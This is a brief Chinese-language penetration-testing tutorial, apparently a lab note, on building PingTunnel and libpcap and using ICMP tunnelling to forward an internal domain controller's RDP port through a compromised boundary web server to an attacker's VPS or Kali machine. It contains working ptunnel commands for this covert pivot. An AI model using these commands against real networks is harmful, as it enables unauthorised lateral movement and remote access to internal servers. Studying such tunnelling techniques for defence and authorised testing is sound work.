官方下載鏈接：http://freshmeat.sourceforge.net/projects/ptunnel/
解壓一下
tar -zxf PingTunnel-0.72.tar.gz
安裝 make&&make install
提示我們缺少pcap包，那我們安裝一下
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
下載完成后解壓
tar -zxf libpcap-1.9.0.tar.gz
運行安裝文件
./configure
結果又出現了缺少yacc包，這。。。盤它
安裝yacc包：
apt-get install -y byacc
好了之后再安裝一遍
./configure
make&&make install
然后在內網web邊界服務器輸入：
ptunnel -x calm
在vps上輸入：
ptunnel -p vps的IP -lp 1080 -da web服務器內網的其他ip -dp 3389 -x calm
這樣可以成功把內網里面數據庫服務器的3389通過邊界web服務器轉發到vps的1080端口。
下面是我用win7做邊界web服務器，然后把內網的域控3389端口轉發到外網的kali上面。
這是win7的內外網ip
域控IP
kali的IP
我們要做到的就是訪問kali的1080端口，可以連接上內網的域控機器的3389。開始：
還要下載winpcap包，別忘了